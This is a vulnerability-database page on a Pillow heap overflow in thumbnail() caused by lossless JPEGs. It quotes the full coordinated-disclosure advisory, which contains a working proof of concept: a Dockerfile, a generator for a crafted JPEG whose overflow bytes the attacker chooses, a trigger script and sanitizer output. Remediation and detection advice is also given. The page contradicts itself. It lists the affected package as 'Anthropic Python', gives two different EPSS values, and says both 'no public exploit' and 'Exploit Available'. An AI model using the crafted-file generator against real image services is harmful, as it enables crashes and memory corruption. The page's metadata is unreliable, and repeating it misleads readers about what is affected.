CVE-2026-112403: Pillow: heap overflow via lossless JPEG in thumbnail()

GHSA-8g5g-8vmr-9782CRITICALCISA: ATTEND
Published October 20, 2026
CISO Take

Pillow, the Python imaging library, has a heap buffer overflow in its JPEG decoder. A crafted lossless (SOF3) JPEG makes the thumbnail path write attacker-chosen pixel bytes past the end of a heap buffer. The bug triggers when an application calls Image.thumbnail() on an untrusted image of at least 1024x1024 pixels and Pillow is linked to libjpeg-turbo 3.x, as the official wheels are. Pillow has about 6,390 tracked downstream dependents, and ML data pipelines, multimodal LLM front ends and image-upload services commonly thumbnail user files. Exploitation likelihood today is low: EPSS is 0.00321 (top 76% percentile), it is not in CISA KEV, and there is no public exploit or Nuclei template. The advisory's proof of concept does show byte-exact, attacker-controlled overflow content, which is a strong memory-corruption primitive. Upgrade to Pillow 13.0.0 or later, and until then call img.load() before thumbnail() or pass reducing_gap=None for any untrusted JPEG.

Sources:NVDGitHub AdvisoryEPSSATLASOpenSSF

What is the risk?

Severity is rated critical by the source, but no CVSS vector is published. The practical risk is high for services that thumbnail untrusted images and moderate elsewhere. Strengths for the attacker: the trigger is entirely file data, needs no authentication or special configuration beyond the default thumbnail() behavior, and gives a controlled heap write. Limiting factors: the image must be at least 1024x1024 pixels so draft() picks a downscale factor of 2 or more, and the build must link libjpeg-turbo 3.0 or later. The decode always ends in an exception after the overflow, so the caller never gets pixels back. Turning the overflow into code execution would need heap-grooming research that has not been published. EPSS is low (0.00321), there is no KEV listing, and no public exploit exists. The most likely realistic impact is a process crash (denial of service). Code execution is plausible but unproven.

How does the attack unfold?

Craft malicious file
Attacker builds a valid 8-bit grayscale lossless (SOF3) JPEG of at least 1024x1024 pixels whose pixel rows carry the bytes to be written.
AML.T0017
Delivery via upload
The file is submitted to an AI service that accepts images (chat upload, labeling tool, dataset ingest) and passes format validation as a normal JPEG.
AML.T0049
Heap overflow
thumbnail() calls draft() with a downscale of 2 or more, libjpeg-turbo ignores the scale for lossless streams, and each row writes past the undersized heap buffer.
AML.T0010.001
Impact
The worker crashes, denying service to the pipeline, or in a skilled attack corrupted heap memory leads to code execution and access to the process's secrets and data.
AML.T0029

What systems are affected?

PackageEcosystemVulnerable RangePatched
Anthropic Pythonpip<= 12.3.013.0.0
4.0K5.4K dependentsPushed 8d ago93% patched~9d to patchFull package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.9%
chance of exploitation in 30 days
Higher than 61% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
○CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What should I do?

1 step
  1. 1) Upgrade Pillow to 13.0.0 or later (fix commit 242a059) in every environment, including containers, base images, lockfiles and vendored wheels. 2) Inventory transitive use: run pip show pillow and pipdeptree across ML images and notebooks. 3) Interim workarounds for unpatched systems: call img.load() before img.thumbnail(), or use thumbnail(..., reducing_gap=None) so JPEG draft mode is not used. Alternatively, reject JPEGs whose SOF marker is 0xFFC3 before passing them to Pillow. 4) Process untrusted images in sandboxed, low-privilege, resource-limited workers (separate container or seccomp profile) with no access to model weights or secrets. 5) Detection: alert on repeated worker crashes (SIGSEGV or abort) or OSError spikes in image-handling services, and log and inspect uploads with SOF3 headers. 6) Track the GitHub advisory GHSA-8g5g-8vmr-9782 for any updates on exploitability.

What does CISA's SSVC say?

DecisionAttend
Exploitationpoc
AutomatableNo
Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15-Accuracy, robustness and cybersecurity
ISO 42001
A.10.3-Suppliers
NIST AI RMF
MANAGE 2.3-Responses to previously unknown risks and third-party component risks
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-112403?

Pillow, the Python imaging library, has a heap buffer overflow in its JPEG decoder. A crafted lossless (SOF3) JPEG makes the thumbnail path write attacker-chosen pixel bytes past the end of a heap buffer. The bug triggers when an application calls Image.thumbnail() on an untrusted image of at least 1024x1024 pixels and Pillow is linked to libjpeg-turbo 3.x, as the official wheels are. Pillow has about 6,390 tracked downstream dependents, and ML data pipelines, multimodal LLM front ends and image-upload services commonly thumbnail user files. Exploitation likelihood today is low: EPSS is 0.00321 (top 76% percentile), it is not in CISA KEV, and there is no public exploit or Nuclei template. The advisory's proof of concept does show byte-exact, attacker-controlled overflow content, which is a strong memory-corruption primitive. Upgrade to Pillow 13.0.0 or later, and until then call img.load() before thumbnail() or pass reducing_gap=None for any untrusted JPEG.

Is CVE-2026-112403 actively exploited?

No confirmed active exploitation of CVE-2026-112403 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-112403?

1) Upgrade Pillow to 13.0.0 or later (fix commit 242a059) in every environment, including containers, base images, lockfiles and vendored wheels. 2) Inventory transitive use: run pip show pillow and pipdeptree across ML images and notebooks. 3) Interim workarounds for unpatched systems: call img.load() before img.thumbnail(), or use thumbnail(..., reducing_gap=None) so JPEG draft mode is not used. Alternatively, reject JPEGs whose SOF marker is 0xFFC3 before passing them to Pillow. 4) Process untrusted images in sandboxed, low-privilege, resource-limited workers (separate container or seccomp profile) with no access to model weights or secrets. 5) Detection: alert on repeated worker crashes (SIGSEGV or abort) or OSError spikes in image-handling services, and log and inspect uploads with SOF3 headers. 6) Track the GitHub advisory GHSA-8g5g-8vmr-9782 for any updates on exploitability.

What systems are affected by CVE-2026-112403?

This vulnerability affects the following AI/ML architecture patterns: Data ingestion and preprocessing pipelines, Multimodal LLM and vision API front ends, Image generation and gallery web apps, Dataset labeling and annotation tools, RAG document and image extraction pipelines, Model serving with image inputs.

What is the CVSS score for CVE-2026-112403?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

Data ingestion and preprocessing pipelinesMultimodal LLM and vision API front endsImage generation and gallery web appsDataset labeling and annotation toolsRAG document and image extraction pipelinesModel serving with image inputs

MITRE ATLAS Techniques

AML.T0010.001AI Software
AML.T0029Denial of AI Service
AML.T0049Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.10.3
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Summary `JpegImageFile.draft()` — which `Image.thumbnail()` calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state->xsize`, `state->ysize` and `state->bits`. libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image. The input is a standards-compliant JPEG, so `Image.open(..., formats=["JPEG"])` does not prevent it. Pillow's Python SOF parser already accepts marker `0xFFC3` ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a `JPEG` / mode `L` image at its full declared size. ## Affected code At `e41083f383c9cd3db95de52564cc0b6452313d4a` (`main`, 2026-08-29): - `src/libImaging/JpegDecode.c:224-262` — `ImagingJpegDecode()`; `jpeg_start_decompress()` at :240, `jpeg_read_scanlines()` at :252, with no geometry check between them. - `src/decode.c:222-231` — `_setimage()`; `state->buffer = calloc(1, state->bytes)` with `state->bytes = (state->bits * state->xsize + 7) / 8`. - `src/PIL/JpegImagePlugin.py:428-464` — `JpegImageFile.draft()`; computes `s` and shrinks `_size`, the tile extents and `decoderconfig` with no notion of lossless coding. - `src/PIL/JpegImagePlugin.py:271` — `0xFFC3: ("SOF3", "Spatial lossless", SOF)`. ```c // src/libImaging/JpegDecode.c if (context->scale > 1) { context->cinfo.scale_num = 1; context->cinfo.scale_denom = context->scale; } ... case 2: if (!jpeg_start_decompress(&context->cinfo)) { break; } state->state++; /* fall through */ case 3: ok = 1; while (state->y < state->ysize) { ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); ``` Because `state->ysize` (`ceil(H/s)`) can never equal libjpeg's `output_height` when `s >= 2`, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The `OSError` is a consequence of the overflow, not the issue being reported. ## Primitive Per scanline: a contiguous write of `(W - ceil(W/s)) x c` bytes immediately past a `calloc(ceil(W/s) x c)` block, where `c = 1` for mode `L` and 4 for RGB (RGBX) and CMYK; repeated for `ceil(H/s)` rows over the same region. The buffer size class is chosen by the attacker through `W`, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string. Measured in the reproducer below: 1200x1100 mode `L`, `s=2` — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one `memcpy`. Threshold: `draft()` must select `s >= 2`, i.e. `W // requested_w >= 2` and `H // requested_h >= 2`. For `thumbnail((256,256))` with the default `reducing_gap=2.0` that means `W, H >= 1024`. ## Reproduction Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with `-fsanitize=address`; Pillow checked out at `${TARGET_COMMIT}`, default `e41083f383c9cd3db95de52564cc0b6452313d4a`). Save the three files below as `Dockerfile`, `make_sof3.py` and `trigger.py` in an empty directory, then: ```bash docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob ``` `make_sof3.py` is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 `P=8, Y=1100, X=1200, Nf=1` / SOS `Ss=1` predictor 1, `Se=0`, `Ah=Al=0` / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. `trigger.py` opens it and calls `thumbnail()`, whose implicit `draft()` picks `s=2` and allocates a 600-byte row buffer. ### `Dockerfile` ```dockerfile FROM ubuntu:24.04 ENV DEBIAN_FRONTEND=noninteractive ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a ARG CLANG_VERSION=20 ARG LIBJPEG_TURBO_TAG=3.1.4 RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates git make cmake nasm pkg-config libc6-dev gcc \ wget gnupg lsb-release software-properties-common \ python3 python3-dev python3-pip python3-venv zlib1g-dev \ && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \ && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \ && rm -rf /var/lib/apt/lists/* ENV CC=clang-20 ENV CXX=clang++-20 ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV LDFLAGS="-fsanitize=address" # --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan --- RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \ && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \ -DCMAKE_C_COMPILER=clang-20 \ -DCMAKE_C_FLAGS="$CFLAGS" \ -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \ -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \ -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \ && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt # --- Pillow at the pinned commit, built with ASan against that libjpeg --- RUN git clone https://github.com/python-pillow/Pillow /src/repo WORKDIR /src/repo RUN git checkout ${TARGET_COMMIT} ENV JPEG_ROOT=/opt/ljt ENV LD_LIBRARY_PATH=/opt/ljt/lib RUN python3 -m venv /venv \ && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \ && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \ /venv/bin/pip install --no-build-isolation --no-deps . \ && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \ && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \ /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))" COPY make_sof3.py /tmp/make_sof3.py COPY trigger.py /tmp/trigger.py RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer ENV LD_PRELOAD=/opt/libasan.so CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"] ``` ### `make_sof3.py` ```python #!/usr/bin/env python3 """Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG. Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra). Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact). """ import struct import sys W = 1200 H = 1100 MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer class BitWriter: def __init__(self): self.out = bytearray() self.acc = 0 self.n = 0 def put(self, value, nbits): for i in range(nbits - 1, -1, -1): self.acc = (self.acc << 1) | ((value >> i) & 1) self.n += 1 if self.n == 8: self.out.append(self.acc) if self.acc == 0xFF: self.out.append(0x00) # byte stuffing self.acc = 0 self.n = 0 def flush(self): while self.n: self.put(1, 1) return bytes(self.out) # Canonical Huffman: 17 symbols (categories 0..16), all of code length 5. BITS = [0] * 17 BITS[5] = 17 HUFFVAL = list(range(17)) CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)} def category(d): if d == 0: return 0 return abs(d).bit_length() def build_pixels(): rows = [] for y in range(H): row = bytearray() while len(row) < W: row += MARKER rows.append(bytes(row[:W])) return rows def main(path): rows = build_pixels() bw = BitWriter() prev = None for y in range(H): row = rows[y] for x in range(W): s = row[x] if y == 0 and x == 0: pred = 1 << 7 # 2^(P-1-Pt) elif x == 0: pred = prev[0] # Rb for first sample of a line else: pred = row[x - 1] # Ra, predictor 1 d = (s - pred) & 0xFFFF if d >= 0x8000: d -= 0x10000 ssss = category(d) code, length = CODES[ssss] bw.put(code, length) if ssss: v = d if d > 0 else d + (1 << ssss) - 1 bw.put(v & ((1 << ssss) - 1), ssss) prev = row entropy = bw.flush() out = bytearray() out += b"\xff\xd8" # SOI # DHT: class 0 (DC/lossless), table id 0 dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL) out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht # SOF3: lossless, Huffman, sequential sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0]) out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0 sos = bytes([1, 1, 0x00, 1, 0, 0]) out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos out += entropy out += b"\xff\xd9" # EOI with open(path, "wb") as f: f.write(bytes(out)) print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless") if __name__ == "__main__": main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg") ``` ### `trigger.py` ```python import sys from PIL import Image, features print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True) im = Image.open("/tmp/sof3_gray_1200x1100.jpg") print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True) print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True) sys.stdout.flush() try: im.thumbnail((256, 256)) print("thumbnail returned, size=%s" % (im.size,), flush=True) except Exception as e: print("exception: %r" % (e,), flush=True) ``` Validated output: ``` Pillow 13.0.0.dev0 | libjpeg 6.2 format=JPEG mode=L size=(1200, 1100) >>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer ================================================================= ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422 WRITE of size 1200 at 0x74e4e904aad8 thread T0 #0 __asan_memcpy #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5 #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3 #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3 #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3 #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22 #6 _decode /src/repo/src/decode.c:132:14 0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8) allocated by thread T0 here: #0 calloc #1 _setimage /src/repo/src/decode.c:230:34 SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy ``` Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as `draft()` computed it. ``` control baseline DCT JPEG: JPEG L (1200, 1100) thumbnail OK, size = (256, 235) -- no ASan report ``` ## Scope and caveats - Reproduced on `main` at `e41083f383c9cd3db95de52564cc0b6452313d4a`, which is current `origin/main` as of 2026-08-30. Also reported against 12.3.0. - Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected. - No non-default Pillow configuration is involved: `Image.thumbnail()` calls `draft()` by default, and the triggering bytes are entirely file data. - Only paths that use `draft()` before loading are affected. `open().load()` and `resize()` decode at scale 1 and are unaffected. Calling `img.load()` before `thumbnail()`, or `thumbnail(..., reducing_gap=None)`, avoids the path in an application today. - Not affected on the same code path: SOF11 (arithmetic lossless) fails with `JERR_ARITH_NOTIMPL` before any row; 12- and 16-bit lossless are rejected by Pillow's `SOF()` because it requires `bits == 8`; SOF5-7/13-15 fail with `JERR_SOF_UNSUPPORTED`. ## Credit and disclosure Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics. This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report. Credit goes to Claude (Anthropic) and Ada Logics.

Exploitation Scenario

An attacker uploads a 1200x1100 grayscale lossless JPEG to a multimodal chatbot or an image-labeling platform that generates thumbnails with Pillow. The file passes extension and Image.open(formats=['JPEG']) checks because it is a standards-compliant JPEG. When the service calls thumbnail((256,256)), Pillow requests half-scale decoding and allocates a 600-byte row buffer, but libjpeg-turbo ignores the scale for lossless streams and writes full 1200-byte rows. This overwrites adjacent heap memory with attacker-chosen bytes. At minimum the worker crashes and the attacker repeats uploads to deny service to the ingestion pipeline. A skilled attacker could shape the heap and overflow contents to try to corrupt adjacent objects and gain code execution in the worker, which may hold model-serving credentials or access to training data.

Weaknesses (CWE)

CWE-122 — Heap-based Buffer Overflow: A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

  • Pre-design: Use a language or compiler that performs automatic bounds checking.
  • [Architecture and Design] Use an abstraction library to abstract away risky APIs. Not a complete solution.

Source: MITRE CWE corpus.

Timeline

Published
October 20, 2026
Last Modified
October 22, 2026
First Seen
October 21, 2026

Related Vulnerabilities